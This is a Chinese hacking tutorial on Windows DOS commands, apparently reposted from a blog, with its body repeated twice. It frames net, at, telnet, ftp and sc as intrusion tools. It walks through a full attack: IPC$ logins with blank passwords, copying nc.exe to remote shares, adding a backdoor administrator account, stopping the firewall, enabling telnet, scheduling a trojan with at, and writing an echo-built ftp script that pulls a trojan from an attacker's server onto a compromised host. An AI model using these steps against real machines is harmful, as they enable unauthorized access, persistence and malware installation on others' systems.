黑客必学的DOS命令
一、DOS基本命令：
1、md——建立子目录
2、cd——改变当前目录
3、del——删除文件命令
4、rd——删除子目录命令
5、dir——显示磁盘目录命令
6、copy文件复制命令
7、xcopy——目录复制命令
8、type——显示文件内容命令
9、ren——文件改名命令
10、fc——文件比较命令
11、attrib——修改文件属性命令
12、其它命令
13、cls——清屏幕命令
14、ver 查看系统版本号命令
二、DOS常用的命令：
1、ipconfig /all
显示所有网络适配器（网卡、拨号连接等）的完整TCP/IP配置信息。与不带参数的用法相比，它的信息更全更多，如IP是 否 动态分配、显示网卡的物理地址等。
2、ping
用来检查网络是否通畅或者网络连接速度的命令。我们只掌握一些基本的很有用的参数就可以了（下同）。
-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。Ctrl+c停止。
-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。
-n 定义向目标IP发送数据包的次数，默认为4次。
举个例子来说明一下具体用法。
c:\>ping www.baidu.com
Reply from 192.168.174.1: bytes=100 time<1ms TTL=128
bytes=100 就是数据包的大小
这里time<1ms表示从发出数据包到接受到返回数据包所用的时间是小于1毫秒。
从TTL的返回值可以初步判断被ping主机的操作系统。
（小知识：如果TTL=128左右，则表示目标主机可能是Win2000或xp或路由器；如果TTL=250，则目标主机可能是Unix，也有可能是路由器，TTL=64,目标主机可能是linux,大家自己测试一下，多了就熟悉了）。不过现在很多服务器都过滤的ping的数据包，所以有很多ping不通的情况，可能是防火墙过滤ping的数据包。
3、netstat
这是一个用来查看网络状态的命令，操作简便功能强大。
-a 查看本地机器的所有开放端口，可以有效发现和预防木马，可以知道机器所开的服务等信息，为了防止被发现所以现在很多木马都采用了隐藏进程和端口的技术。
-n 列出当前的开放端口，可以知道当前机器所开的服务信息。
netstat -na |find "3389" 查看当前主机有没有开放3389端口
4、tracert
跟踪路由信息，使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径，这对我们了解网络布局和结构很有帮助。用法：tracert IP。
只有一跳，就是本机，可以tracert百度试试
5、net （重点）
这个命令是网络命令中最重要的一个，必须透彻掌握它的每一个子命令的用法，因为它的功能实在是太强大了，这简直就是 微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令，键入net /?回车。
在这里，我们重点掌握几个入侵常用的子命令。
1)、net view
使用此命令查看远程主机的所以共享资源。命令格式为net view \IP。
可以看到的只是我们先前共享的文件夹，而如果C盘共享的话是看不到的。
2)、net share
此命令用来查看本地开启的共享 ，也可共享指定盘符。
net share c$=c:\ 将C盘共享
net share c$ /del 删除C：共享
3)、net use
把远程主机的某个共享资源影射为本地盘符，图形界面方便使用
net use \\ip\ipc$ 建立IPC空链接 （只是说明远程主机开放135端口并共享ipc）
net use \\ip\ipc$ “密码” /user:用户名 建立IPC非空链接 （获得主机的用户名和密码）
示例：
net use \\192.168.174.129\ipc$ “” /user:administrator ""表示密码为空
net use z: \\ip\c$ 登陆后映射对方C：到本地为z: （2000可以直接使用，xp需要开对方共享）
应用：
建立了IPC$连接后，对方有开共享的话，就可以上传文件了：
copy nc.exe \192.168.174.128\c$，或copy c:\nc.exe \192.168.174.128\c$
表示把本地目录下的nc.exe传到远程主机C盘，结合后面要介绍到的其他DOS命令就可以实现入侵了。
net use z: /del 删除映射对方到本地的为z:的映射
net use * /del 删除所有连接
4)、net start
使用它来启动远程主机上的服务。当你和远程主机建立连接后，如果发现它的什么服务没有启动，而你又想利用此服务怎么办？就使用这个命令来启动吧。用法：net start 服务名
开启服务；(如:net start telnet， net start schedule，前提是服务未禁用。遗憾的是这两常用的命令默认情况下都是禁用的。要用到另外的命令了，后面我们会讲到)
这里以系统防火墙为例：net start sharedaccess
5)、net stop
入侵后发现远程主机的某个服务碍手碍脚，怎么办？利用这个命令停掉就ok了，用法和net start同。
如 net stop sharedaccess 关掉系统防火墙
6)、net user
查看和帐户有关的情况，包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的，最重要的，它为我们克隆帐户提供了前提。键入不带参数的net user，可以查看所有用户，包括已经禁用的。
net user 账户 可以查看相应账户的信息
7)、net localgroup ：
查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中，我们一般利用它来把某个帐户提升为administrator组帐户，这样我们利用这个帐户就可以控制整个远程主机了。
用法：net localgroup groupname username /add。其中administrators组的权限最大
示例：
net user huayu 123 /add 建立一个用户名为huayu密码为123的账户
net localgroup administrators huayu /add 把“huayu”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数
net user 查看有哪些用户
net user longyu 查看帐户的属性
net user longyu /del 删掉用户longyu，这里不用输密码了
8)、net time
这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面，那么也许就用不到这个命令了。但简单的入侵成功了，难道只是看看吗？我们需要进一步渗透。这就连远程主机当前的时间都需要知道，因为利用时间和其他手段（后面会讲到）可以实现某个命令和程序的定时启动，为我们进一步入侵打好基础。
用法：net time \IP。
net time \\127.0.0.1 查看本地主机时间
net time \\192.168.1.1 查看远程主机时间
6、at
这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序（知道net time的重要了吧？），而且这个命令是系统权限的，可以用来解除注册表的一个限制，后面的实例中会用到。当我们知道了远程主机的当前时间，就可以利用此命令让其在以后的某个时间（比如2分钟后）执行某个程序和命令。
用法：
at \\computer time command
例如:
at \\192.168.174.129 12:12 c:\huayu.exe 建立ipc连接后才能执行，longyu.exe是我们传到对方c盘点木马
at /delete 删除某个已排定进度的命令。
at /yes 用于删除所有作业，且不想在运行删除时显示确认信息 。
7、telnet （重点）
功能强大的远程登陆命令，几乎所有的入侵者都喜欢用它，屡试不爽。为什么？它操作简单，如同使用自己的机器一样，只要你熟悉DOS命令，在成功以administrator身份连接了远程机器后，就可以用它来干你想干的一切了。下面介绍一下使用方法，首先键入telnet回车，再键入help查看其帮助信息。
然后在提示符下键入telnet IP回车，这时就出现了登陆窗口（当然前提是telnet服务是开启的，后面会讲到如何开启），让你输入合法的用户名和密码，这里输入任何密码都是不显示的。
当输入用户名和密码都正确后就成功建立了telnet连接，这时候你就在远程主机上具有了和此用户一样的权限，利用DOS命令就可以实现你想干的事情了。
telnet还可以用来探测服务器的类型，比如对方开了80端口，我们可以用telnet IP 80 通过返回信息判断对方系统类型。
8、ftp
连接ftp服务器，可以从FTP服务器上传和下载文件。
用法：在DOS命令行：
ftp 192.168.174.1 会提示输入用户名和密码登入FTP服务器，登入成功可以执行以下命令
用？查看帮助
dir 跟DOS命令一样，用于查看FTP服务器的文件和目录。
cd 进入某个文件夹。
get 下载文件到本地机器。 如：get longyu.txt c:\longyu.txt
put 上传文件到远程服务器。如：put c:\longyu.txt 前提有上传的权限
delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。
bye 退出当前连接。
quit 同上。
FTP命令主要还是用来传送文件的，比如木马或是一些在肉鸡上可用的工具，如果手动上传的话有点麻烦，我们可以建一个 记事本直接用命令运行，会省很多时间，一会举个例子。
9、echo命令
echo命令主要功能简单点说就是开启或关闭批处理命令行显示在屏幕上 ，它是批处理文件的命令，也属于内部命令,内部命令就是常驻于内存的命令 在任意路径下输入均执行
echo命令的目的有两个:
1）.避免不需要的命令显示来干扰屏幕
2）.在屏幕上给用户显示提示信息
用不带参数的echo命令 则显示当前的echo状态信息
echo+ 可以利用该命令在显示中跳过一行,在建批处理命令中有实际上的意义。
echo off/on 回显的打开或关闭
例如：
@echo off
echo+
echo 华育国际欢迎你
echo+
pause （就是一个暂停，出现这句话：请按任意键继续. . .）
echo命令的使用
1． 作为控制批处理命令在执行时是否显示命令行自身的开关
格式：echo [ on | off ]
2． 显示当前echo设置状态
格式：echo
3． 输出提示信息
格式：echo 信息内容
4． 建立新文件或增加文件内容
格式：
echo 文件内容＞文件名 写入，如果原文件有内容则覆盖
echo 文件内容＞＞文件名 追加，如果原文件有内容则追加在后面
echo [message]>[file name] 这个命令是把指定的字符串送到指定的文件中
注意说明:
“>>”将把内容将填加到文件原文件的末尾，“>”将原文件内容覆盖
(如果没有指定文件名则自动创建)
5. 我们就简单演示下用ftp和echo命令传送文件
利用FTP方式传输文件，这样比较稳定。拿到对方shell后不可能像本机那样一条命令一条命令的进行FTP操作。可以把所有有关的FTP命令先用echo写到一个文件里(比如ftp.txt)然后用ftp -s:ftp.txt来执行ftp下载文件。就用虚拟机当作肉鸡了。
架设一台FTP服务器，设定FTP用户和密码，并在此用户目录下放配置好的木马程序。
ftp.txt文件的内容：
用echo在cmd shell里写ftp.txt文件的相应命令为 ：
echo open 192.168.1.1>>ftp.txt
echo huayu>>ftp.txt
echo 123456>>ftp.txt
echo binary>>ftp.txt
echo get nc.exe>>ftp.txt
echo bye>>ftp.txt
最后执行命令：
ftp -s:ftp.txt
说明如下：
open 192.168.1.1 FTP服务器
huayu ftp的用户名
123456 ftp的用户密码
binary 传输模式设为二进制传输 （也可以不用）
get nc.exe 下载FTP服务器的鸽子服务端程序
bye 退出
ftp -s:ftp.txt 执行FTP下载木马
10、sc命令
sc config tlntsvr start= auto 把telnet服务启动类型改为自动
一、DOS基本命令：
1、md——建立子目录
2、cd——改变当前目录
3、del——删除文件命令
4、rd——删除子目录命令
5、dir——显示磁盘目录命令
6、copy文件复制命令
7、xcopy——目录复制命令
8、type——显示文件内容命令
9、ren——文件改名命令
10、fc——文件比较命令
11、attrib——修改文件属性命令
12、其它命令
13、cls——清屏幕命令
14、ver 查看系统版本号命令
二、DOS常用的命令：
1、ipconfig /all
显示所有网络适配器（网卡、拨号连接等）的完整TCP/IP配置信息。与不带参数的用法相比，它的信息更全更多，如IP是 否 动态分配、显示网卡的物理地址等。
2、ping
用来检查网络是否通畅或者网络连接速度的命令。我们只掌握一些基本的很有用的参数就可以了（下同）。
-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。Ctrl+c停止。
-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。
-n 定义向目标IP发送数据包的次数，默认为4次。
举个例子来说明一下具体用法。
c:\>ping www.baidu.com
Reply from 192.168.174.1: bytes=100 time<1ms TTL=128
bytes=100 就是数据包的大小
这里time<1ms表示从发出数据包到接受到返回数据包所用的时间是小于1毫秒。
从TTL的返回值可以初步判断被ping主机的操作系统。
（小知识：如果TTL=128左右，则表示目标主机可能是Win2000或xp或路由器；如果TTL=250，则目标主机可能是Unix，也有可能是路由器，TTL=64,目标主机可能是linux,大家自己测试一下，多了就熟悉了）。不过现在很多服务器都过滤的ping的数据包，所以有很多ping不通的情况，可能是防火墙过滤ping的数据包。
3、netstat
这是一个用来查看网络状态的命令，操作简便功能强大。
-a 查看本地机器的所有开放端口，可以有效发现和预防木马，可以知道机器所开的服务等信息，为了防止被发现所以现在很多木马都采用了隐藏进程和端口的技术。
-n 列出当前的开放端口，可以知道当前机器所开的服务信息。
netstat -na |find "3389" 查看当前主机有没有开放3389端口
4、tracert
跟踪路由信息，使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径，这对我们了解网络布局和结构很有帮助。用法：tracert IP。
只有一跳，就是本机，可以tracert百度试试
5、net （重点）
这个命令是网络命令中最重要的一个，必须透彻掌握它的每一个子命令的用法，因为它的功能实在是太强大了，这简直就是 微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令，键入net /?回车。
在这里，我们重点掌握几个入侵常用的子命令。
1)、net view
使用此命令查看远程主机的所以共享资源。命令格式为net view \IP。
可以看到的只是我们先前共享的文件夹，而如果C盘共享的话是看不到的。
2)、net share
此命令用来查看本地开启的共享 ，也可共享指定盘符。
net share c$=c:\ 将C盘共享
net share c$ /del 删除C：共享
3)、net use
把远程主机的某个共享资源影射为本地盘符，图形界面方便使用
net use \\ip\ipc$ 建立IPC空链接 （只是说明远程主机开放135端口并共享ipc）
net use \\ip\ipc$ “密码” /user:用户名 建立IPC非空链接 （获得主机的用户名和密码）
示例：
net use \\192.168.174.129\ipc$ “” /user:administrator ""表示密码为空
net use z: \\ip\c$ 登陆后映射对方C：到本地为z: （2000可以直接使用，xp需要开对方共享）
应用：
建立了IPC$连接后，对方有开共享的话，就可以上传文件了：
copy nc.exe \192.168.174.128\c$，或copy c:\nc.exe \192.168.174.128\c$
表示把本地目录下的nc.exe传到远程主机C盘，结合后面要介绍到的其他DOS命令就可以实现入侵了。
net use z: /del 删除映射对方到本地的为z:的映射
net use * /del 删除所有连接
4)、net start
使用它来启动远程主机上的服务。当你和远程主机建立连接后，如果发现它的什么服务没有启动，而你又想利用此服务怎么办？就使用这个命令来启动吧。用法：net start 服务名
开启服务；(如:net start telnet， net start schedule，前提是服务未禁用。遗憾的是这两常用的命令默认情况下都是禁用的。要用到另外的命令了，后面我们会讲到)
这里以系统防火墙为例：net start sharedaccess
5)、net stop
入侵后发现远程主机的某个服务碍手碍脚，怎么办？利用这个命令停掉就ok了，用法和net start同。
如 net stop sharedaccess 关掉系统防火墙
6)、net user
查看和帐户有关的情况，包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的，最重要的，它为我们克隆帐户提供了前提。键入不带参数的net user，可以查看所有用户，包括已经禁用的。
net user 账户 可以查看相应账户的信息
7)、net localgroup ：
查看所有和用户组有关的信息和进行相关操作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中，我们一般利用它来把某个帐户提升为administrator组帐户，这样我们利用这个帐户就可以控制整个远程主机了。
用法：net localgroup groupname username /add。其中administrators组的权限最大
示例：
net user huayu 123 /add 建立一个用户名为huayu密码为123的账户
net localgroup administrators huayu /add 把“huayu”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数
net user 查看有哪些用户
net user longyu 查看帐户的属性
net user longyu /del 删掉用户longyu，这里不用输密码了
8)、net time
这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面，那么也许就用不到这个命令了。但简单的入侵成功了，难道只是看看吗？我们需要进一步渗透。这就连远程主机当前的时间都需要知道，因为利用时间和其他手段（后面会讲到）可以实现某个命令和程序的定时启动，为我们进一步入侵打好基础。
用法：net time \IP。
net time \\127.0.0.1 查看本地主机时间
net time \\192.168.1.1 查看远程主机时间
6、at
这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序（知道net time的重要了吧？），而且这个命令是系统权限的，可以用来解除注册表的一个限制，后面的实例中会用到。当我们知道了远程主机的当前时间，就可以利用此命令让其在以后的某个时间（比如2分钟后）执行某个程序和命令。
用法：
at \\computer time command
例如:
at \\192.168.174.129 12:12 c:\huayu.exe 建立ipc连接后才能执行，longyu.exe是我们传到对方c盘点木马
at /delete 删除某个已排定进度的命令。
at /yes 用于删除所有作业，且不想在运行删除时显示确认信息 。
7、telnet （重点）
功能强大的远程登陆命令，几乎所有的入侵者都喜欢用它，屡试不爽。为什么？它操作简单，如同使用自己的机器一样，只要你熟悉DOS命令，在成功以administrator身份连接了远程机器后，就可以用它来干你想干的一切了。下面介绍一下使用方法，首先键入telnet回车，再键入help查看其帮助信息。
然后在提示符下键入telnet IP回车，这时就出现了登陆窗口（当然前提是telnet服务是开启的，后面会讲到如何开启），让你输入合法的用户名和密码，这里输入任何密码都是不显示的。
当输入用户名和密码都正确后就成功建立了telnet连接，这时候你就在远程主机上具有了和此用户一样的权限，利用DOS命令就可以实现你想干的事情了。
telnet还可以用来探测服务器的类型，比如对方开了80端口，我们可以用telnet IP 80 通过返回信息判断对方系统类型。
8、ftp
连接ftp服务器，可以从FTP服务器上传和下载文件。
用法：在DOS命令行：
ftp 192.168.174.1 会提示输入用户名和密码登入FTP服务器，登入成功可以执行以下命令
用？查看帮助
dir 跟DOS命令一样，用于查看FTP服务器的文件和目录。
cd 进入某个文件夹。
get 下载文件到本地机器。 如：get longyu.txt c:\longyu.txt
put 上传文件到远程服务器。如：put c:\longyu.txt 前提有上传的权限
delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。
bye 退出当前连接。
quit 同上。
FTP命令主要还是用来传送文件的，比如木马或是一些在肉鸡上可用的工具，如果手动上传的话有点麻烦，我们可以建一个 记事本直接用命令运行，会省很多时间，一会举个例子。
9、echo命令
echo命令主要功能简单点说就是开启或关闭批处理命令行显示在屏幕上 ，它是批处理文件的命令，也属于内部命令,内部命令就是常驻于内存的命令 在任意路径下输入均执行
echo命令的目的有两个:
1）.避免不需要的命令显示来干扰屏幕
2）.在屏幕上给用户显示提示信息
用不带参数的echo命令 则显示当前的echo状态信息
echo+ 可以利用该命令在显示中跳过一行,在建批处理命令中有实际上的意义。
echo off/on 回显的打开或关闭
例如：
@echo off
echo+
echo 华育国际欢迎你
echo+
pause （就是一个暂停，出现这句话：请按任意键继续. . .）
echo命令的使用
1． 作为控制批处理命令在执行时是否显示命令行自身的开关
格式：echo [ on | off ]
2． 显示当前echo设置状态
格式：echo
3． 输出提示信息
格式：echo 信息内容
4． 建立新文件或增加文件内容
格式：
echo 文件内容＞文件名 写入，如果原文件有内容则覆盖
echo 文件内容＞＞文件名 追加，如果原文件有内容则追加在后面
echo [message]>[file name] 这个命令是把指定的字符串送到指定的文件中
注意说明:
“>>”将把内容将填加到文件原文件的末尾，“>”将原文件内容覆盖
(如果没有指定文件名则自动创建)
5. 我们就简单演示下用ftp和echo命令传送文件
利用FTP方式传输文件，这样比较稳定。拿到对方shell后不可能像本机那样一条命令一条命令的进行FTP操作。可以把所有有关的FTP命令先用echo写到一个文件里(比如ftp.txt)然后用ftp -s:ftp.txt来执行ftp下载文件。就用虚拟机当作肉鸡了。
架设一台FTP服务器，设定FTP用户和密码，并在此用户目录下放配置好的木马程序。
ftp.txt文件的内容：
用echo在cmd shell里写ftp.txt文件的相应命令为 ：
echo open 192.168.1.1>>ftp.txt
echo huayu>>ftp.txt
echo 123456>>ftp.txt
echo binary>>ftp.txt
echo get nc.exe>>ftp.txt
echo bye>>ftp.txt
最后执行命令：
ftp -s:ftp.txt
说明如下：
open 192.168.1.1 FTP服务器
huayu ftp的用户名
123456 ftp的用户密码
binary 传输模式设为二进制传输 （也可以不用）
get nc.exe 下载FTP服务器的鸽子服务端程序
bye 退出
ftp -s:ftp.txt 执行FTP下载木马
10、sc命令
sc config tlntsvr start= auto 把telnet服务启动类型改为自动
net start tlntsvr 启动Telnet服务
本文转自成功不仅是个人荣誉，更是对家人责任博客51CTO博客，原文链接http://blog.51cto.com/hukunlin/227692如需转载请自行联系原作者
kunlin_hu
